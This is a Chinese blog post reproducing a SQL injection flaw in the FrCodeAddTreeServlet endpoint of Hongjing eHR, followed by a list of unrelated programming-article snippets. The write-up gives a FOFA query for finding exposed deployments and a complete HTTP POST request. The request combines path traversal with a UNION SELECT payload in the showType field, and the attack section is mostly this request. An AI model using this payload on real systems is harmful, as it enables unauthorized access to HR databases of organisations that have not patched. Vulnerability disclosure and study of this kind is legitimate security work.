当前位置： 首页 > news >正文

宏景eHR FrCodeAddTreeServlet SQL注入漏洞复现

news 2026/4/2 22:50:28

前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、产品简介

宏景eHR是一款面向国有企事业单位的人力资源管理数智化软件产品，旨在帮助企业实现人力资源的数字化和智能化管理。

二、漏洞描述

该系统FrCodeAddTreeServlet接口存在SQL注入漏洞

三、影响范围

未知

四、复现环境

FOFA：app=“HJSOFT-HCM”

五、漏洞复现

1.访问存在漏洞的网站，抓包
在这里插入图片描述

2.测试payload

POST /templates/attestation/../../servlet/FrCodeAddTreeServlet HTTP/1.1
Host: IP：port
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Length: 132
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencodedparams=&issuperuser=&parentid=&privType=&manageprive=&action=&target=&showType=1'+UNION+ALL+SELECT+123,NULL,NULL,NULL,NULL,NULL--+

3.成功
在这里插入图片描述

在这里插入图片描述

六、修复建议

及时更新系统，安装防护设备，过滤请求中的敏感字符

相关文章：

宏景eHR FrCodeAddTreeServlet SQL注入漏洞复现

前言 免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 一、产…...

编程日记 2024/1/31 23:38:38

STM32——I2C

通信协议见（STM32——SPI） 一、I2C协议 1.1 I2C协议介绍； I2C是（Inter IC Bus）是由Philips公司开发的一种通用数据总线； 有多根通信线； 一根SDA（串行通信线）&#xf…...

编程日记 2024/1/31 23:33:34

笔记本从零安装ubuntu server系统+环境配置

文章目录 前言相关链接ubuntu Server 安装教程屏幕自动息屏关上盖子不休眠MobaXterm外网SSH内网穿透IPV6远程 为什么我要笔记本装Linux为什么要换ubuntu Server版能否连接wifi之后Linux 配置清单总结 前言 之前装了个ubuntu desktop 版，发现没有命令行，…...

编程日记 2024/1/31 23:32:33

SQL 快速参考手册

SQL 语句语法AND / ORSELECT column_name(s) FROM table_name WHERE condition AND|OR conditionALTER TABLEALTER TABLE table_name ADD column_name datatype 或者： ALTER TABLE table_name DROP COLUMN column_name AS (alias)SELECT column_name AS column_alia…...

编程日记 2024/1/31 23:31:32

Linux/Windows系统无法git clone解决办法

一、Windows 1. 查找github和githubusercontent的IP地址 IP Tracer & Tracker - IP Address Lookup Made EasyIP Lookup Made Easy Using The Best IP Tracker – Trace An IP, Map The Location & Get Accurate Results When Using The Best IP Finderhttps://www.i…...

编程日记 2024/1/31 23:30:30

【算法与数据结构】198、213、337LeetCode打家劫舍I, II, III

文章目录 一、198、打家劫舍二、213、打家劫舍 II三、337、打家劫舍III三、完整代码 所有的LeetCode题解索引，可以看这篇文章——【算法和数据结构】LeetCode题解。 一、198、打家劫舍 思路分析：打家劫舍是动态规划的的经典题目。本题的难点在于递归公式…...

编程日记 2024/1/31 23:24:24

React、React Router、JSX 简单入门快速上手

React、React Router、JSX 简单入门快速上手 介绍特点 JSX使用js表达式渲染列表样式控制注意事项 入门脚手架创建react项目安装目录介绍入口文件解析 组件解析介绍函数式组件类组件 事件绑定注意点定义使用事件对象事件处理函数接收额外参数 组件状态状态的定义使用 组件通信父…...

编程日记 2024/1/31 23:22:22

从 0 开始搭建 React 框架

webpack 配置 不再赘述&#xff0c;可参考前三个文章&#xff08;wenpack5 基本使用 1 - 3&#xff09; 使用 react 安装 react、react-dom、babel/preset-react yarn add react react-dom babel/preset-react<!DOCTYPE html> <html lang"en"> <h…...

编程日记 2024/1/31 23:21:21

网站地址怎么改成HTTPS？

现在&#xff0c;所有类型的网站都需要通过 HTTPS 协议进行安全连接&#xff0c;而实现这一目标的唯一方法是使用 SSL 证书。如果您不将 HTTP 转换为 HTTPS&#xff0c;浏览器和应用程序会将您网站的连接标记为不安全。 但用户询问如何将我的网站从 HTTP 更改为 HTTPS。在此页…...

编程日记 2024/1/31 23:18:15

Blender教程（基础）-面的细分与删除、挤出选区-07

一、Blender之面的细分 新建一个立方体&#xff0c;在编辑模式下、选中一个面。 在选中的面上单击右键弹出细分选项&#xff0c;选择细分。 在选中细分后、会默认细分1次。修改细分次数在左下角 二、Blender之面的删除 选择中需要操作的面&#xff0c;在英文状态下按X键弹…...

编程日记 2024/1/31 23:12:09

QT自制软键盘 最完美、最简单、支持中文输入（二）

目录 一、前言 二、本自制虚拟键盘特点 三、中文输入原理 四、组合键输入 五、键盘事件模拟 六、界面 七、代码 7.1 frmKeyBoard 头文件代码 7.2 frmKeyBoard 源文件代码 八、使用示例 九、效果 十、结语 一、前言 由于系统自带虚拟键盘不一定好用&#xff0c;也不一…...

编程日记 2024/1/31 23:11:07

SpringCloud_学习笔记_1

SpringCloud01 1.认识微服务 随着互联网行业的发展&#xff0c;对服务的要求也越来越高&#xff0c;服务架构也从单体架构逐渐演变为现在流行的微服务架构。这些架构之间有怎样的差别呢&#xff1f; 1.0.学习目标 了解微服务架构的优缺点 1.1.单体架构 单体架构&#xff…...

编程日记 2024/1/31 23:09:05

容器算法迭代器初识

#include<iostream> using namespace std; #include<vector> //vetor容器存放内置数据类型 void test01() {//创建了一个vector容器&#xff0c;数组 vector<int> v;//向容器中插入数据v.push_back (10);//尾插 v.push_back (20);v.push_back (30);v.push_ba…...

编程日记 2024/1/31 23:05:01

瑞_力扣LeetCode_二叉搜索树相关题

文章目录 说明题目 450. 删除二叉搜索树中的节点题解递归实现 题目 701. 二叉搜索树中的插入操作题解递归实现 题目 700. 二叉搜索树中的搜索题解递归实现 题目 98. 验证二叉搜索树题解中序遍历非递归实现中序遍历递归实现上下限递归 题目 938. 二叉搜索树的范围和题解中序遍历…...

编程日记 2024/1/31 23:02:58

python爬虫爬取网站

流程&#xff1a; 1.指定url(获取网页的内容) 爬虫会向指定的URL发送HTTP请求&#xff0c;获取网页的HTML代码&#xff0c;然后解析HTML代码&#xff0c;提取出需要的信息&#xff0c;如文本、图片、链接等。爬虫请求URL的过程中&#xff0c;还可以设置请求头、请求参数、请求…...

编程日记 2024/1/31 23:00:56

c# Get方式调用WebAPI,WebService等接口

/// <summary> /// 利用WebRequest/WebResponse进行WebService调用的类 /// </summary> public class WebServiceHelper {//<webServices>// <protocols>// <add name"HttpGet"/>// <add name"HttpPost"/>// …...

编程日记 2024/1/31 22:52:47

银行数据仓库体系实践（11）--数据仓库开发管理系统及开发流程

数据仓库管理着整个银行或公司的数据&#xff0c;数据结构复杂&#xff0c;数据量庞大&#xff0c;任何一个数据字段的变化或错误都会引起数据错误&#xff0c;影响数据应用&#xff0c;同时业务的发展也带来系统不断升级&#xff0c;数据需求的不断增加&#xff0c;数据仓库需…...

编程日记 2024/1/31 22:51:47

微信小程序引导用户打开定位授权通用模版

在需要使用位置信息的页面&#xff08;例如 onLoad 或 onShow 生命周期函数&#xff09;中调用 wx.getSetting 方法检查用户是否已经授权地理位置权限&#xff1a; Page({onLoad: function() {wx.getSetting({success: res > {if (res.authSetting[scope.userLocation]) {/…...

编程日记 2024/1/31 22:49:45

JVM篇----第十篇

系列文章目录 文章目录 系列文章目录前言一、JAVA 强引用二、JAVA软引用三、JAVA弱引用四、JAVA虚引用五、分代收集算法前言 前些天发现了一个巨牛的人工智能学习网站，通俗易懂，风趣幽默，忍不住分享一下给大家。点击跳转到网站，这篇文章男女通用，看懂了就去分享给你的码吧…...

编程日记 2024/1/31 22:48:44

DevSecOps 参考模型介绍

目录 一、参考模型概述 1.1 概述 二、参考模型分类 2.1 DevOps 组织型模型 2.1.1 DevOps 关键特性 2.1.1.1 模型特性图 2.1.1.2 特性讲解 2.1.1.2.1 自动化 2.1.1.2.2 多边协作 2.1.1.2.3 持续集成 2.1.1.2.4 配置管理 2.1.2 DevOps 生命周期 2.1.2.1 研发过程划分…...

编程日记 2024/1/31 22:47:42

泛微Ecology数据库小白必看：三张表搞定待办、已办、办结查询（附完整SQL及字段解释）

泛微Ecology流程查询实战指南&#xff1a;从表结构到SQL优化的完整解析 引言 在日常办公自动化管理中&#xff0c;泛微Ecology系统作为国内主流的工作流平台&#xff0c;承载着企业大量业务流程的运转。但对于刚接触系统管理的技术人员来说&#xff0c;面对复杂的数据库表结构和…...

编程新知 2026/4/2 22:19:58

DocHub文库系统完整指南：10分钟快速搭建百度文库式开源平台

DocHub文库系统完整指南&#xff1a;10分钟快速搭建百度文库式开源平台 【免费下载链接】DocHub 参考百度文库&#xff0c;使用Beego&#xff08;Golang&#xff09;开发的开源文库系统 项目地址: https://gitcode.com/gh_mirrors/do/DocHub &#x1f680; 快速开始&…...

编程新知 2026/4/2 21:45:10

ChatGPT_JCM前端构建工具对比：Webpack、Vite与Rollup

ChatGPT_JCM前端构建工具对比&#xff1a;Webpack、Vite与Rollup 【免费下载链接】ChatGPT_JCM 项目地址: https://gitcode.com/gh_mirrors/ch/ChatGPT_JCM ChatGPT_JCM是一个基于AI技术的前端项目&#xff0c;在开发过程中选择合适的构建工具对于提升开发效率和优化项…...

编程新知 2026/4/2 21:45:09

uni.uploadFile上传图片失败排查：Content-Type与boundary的隐藏陷阱

1. 为什么uni.uploadFile上传图片会失败&#xff1f; 最近在做一个uniapp项目时&#xff0c;遇到了一个让人头疼的问题&#xff1a;使用uni.uploadFile上传图片时&#xff0c;后端死活接收不到文件数据。经过一番排查&#xff0c;发现问题出在Content-Type这个看似简单的请求头…...

编程新知 2026/4/2 21:16:40

代码随想录 300.最长递增子序列

思路&#xff1a;根据题意得&#xff0c;子序列是由数组派生而来的序列&#xff0c;删除&#xff08;或不删除&#xff09;数组中的元素不改变其余元素的顺序。动规五部曲&#xff1a;1.dp[i]的定义&#xff1a;dp[i]表示i之前包括i的以nums[i]结尾的最长递增子序列的长度。2.确…...

编程新知 2026/4/2 20:56:22

MOVA割草机器人：开启自主决策新时代

随着AI感知技术在户外场景加速落地&#xff0c;MOVA率先推出AI双目视觉割草机器人ViAX系列&#xff0c;实现多传感器融合&#xff0c;让割草机迈入“自主决策时代”&#xff0c;全球销量快速增长。技术跃迁&#xff1a;从自动到自主 AI感知技术向户外场景渗透&#xff0c;割草机…...

编程新知 2026/4/2 18:52:51

LangChain消息系统深度解析：从OpenAI格式到Claude 3.5，如何设计一个健壮的对话状态机？

LangChain消息系统架构设计&#xff1a;构建企业级对话状态机的工程实践 在当今AI应用开发领域&#xff0c;对话系统的复杂度和功能性需求正呈指数级增长。从简单的单轮问答到需要维护长期记忆、处理多模态输入、执行工具调用的复杂Agent系统&#xff0c;开发者面临的挑战已远超…...

编程新知 2026/4/2 18:50:50

从华为实践学IPD：手把手教你写高通过率的Charter文档

华为IPD方法论实战&#xff1a;打造高价值Charter文档的7个关键步骤 在科技企业的研发管理领域&#xff0c;一份优秀的Charter文档往往决定着数千万甚至上亿研发投入的成败。华为IPD&#xff08;集成产品开发&#xff09;体系中的Charter开发流程&#xff0c;被全球众多科技企业…...

编程新知 2026/4/2 18:14:21

OpenClaw技能共享：将自研的Phi-3-vision-128k-instruct图表分析模块发布到ClawHub

OpenClaw技能共享&#xff1a;将自研的Phi-3-vision-128k-instruct图表分析模块发布到ClawHub 1. 为什么需要共享技能 去年我在处理一批市场分析报告时&#xff0c;发现手动从PDF中提取图表数据再制作可视化报表的效率极低。当时用OpenClawPhi-3-vision模型搭建了一个自动化分…...

编程新知 2026/4/2 16:40:24

将大疆无人机GPS数据接入ROS：一份从PSDK C++示例到sensor_msgs/NavSatFix话题的完整改造指南

大疆无人机GPS数据与ROS深度集成实战指南 1. 系统架构设计与环境准备 在机器人导航系统中&#xff0c;高精度定位数据是核心要素之一。大疆Matrice 350 RTK无人机搭载的GPS/RTK模块能够提供厘米级定位精度&#xff0c;而ROS&#xff08;Robot Operating System&#xff09;作为…...

编程新知 2026/4/2 16:30:02